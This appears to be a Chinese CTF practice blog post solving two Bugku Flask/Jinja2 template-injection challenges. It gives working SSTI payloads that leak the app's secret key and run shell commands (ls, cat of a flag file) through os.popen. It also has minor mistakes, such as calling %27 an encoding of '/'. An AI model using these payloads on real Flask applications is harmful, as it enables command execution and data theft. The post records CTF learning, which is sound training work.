其他分享
首页 > 其他分享> > 寒假不摆烂-Bugku 刷题记录 2022.1.18 第一天

寒假不摆烂-Bugku 刷题记录 2022.1.18 第一天

作者:互联网

本文章仅作记录用,写的不会很详细,但是如果大家哪里不会可以评论或者私信,互相交流再说一句,本人很菜,共同进步。

 

这里推荐2个较经典的模板注入例子,漏洞+一道经典的CTF题目

【WEB攻防】Flask(Jinja2) 服务端模板注入漏洞 原理+防御_AAAAAAAAAAAA66的博客-CSDN博客
i春秋 afr3 任意文件读取 SSTI flask模板注入 session伪造 详细题解_AAAAAAAAAAAA66的博客-CSDN博客
 

1. Simple_SSTI_2

题目明显的模板注入,模板注入之前做过一道,但还是没啥经验。。。

首页显示一句英文 意思是要传一个flag的参数 F12 查看源码 提示secret_key文件

看完大佬的write up发现直接输入 config.secret_key即可 (但这里需要大写)

这里估计是考对模板注入下各配置文件的熟悉

 

 

最终payload

?flag={{config_SECRET_KEY}}

得到flag

 

2.Simple_SSTI_2

进去发现还是得去传参,但是按F12没有任何提示,所以联想到命令执行,因为之前就做过类似的一道命令执行,xjb 执行个ls ,发现不行,报错了(还是对模板注入没有深入的认识),不头铁,看大佬的write up,发现命令执行调用的函数和我的有点不同(得学学了。。)

报错

 正确解法

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}

命令执行ls %20是空格 %27是/ URL编码问题不多叙述了

 一个一个文件打开来找呗。。。(其实打开第一个app文件就找到了)

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app%27).read()%20}}

 打开app文件下的flag文件,最终得到flag

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

 总结

很简单的python flask 模板注入题目,但是考察的是对config文件的理解,但其实对于我自己来说,如果不看之前的write up 其实做不出来,需要对flask框架有着更深的认识,但这显然是我缺少的,以后得花时间多了解一下。


寒假不摆烂

 

标签:不摆烂,Bugku,20,18,__.__,flag,27,模板,注入
来源: https://blog.csdn.net/AAAAAAAAAAAA66/article/details/122571152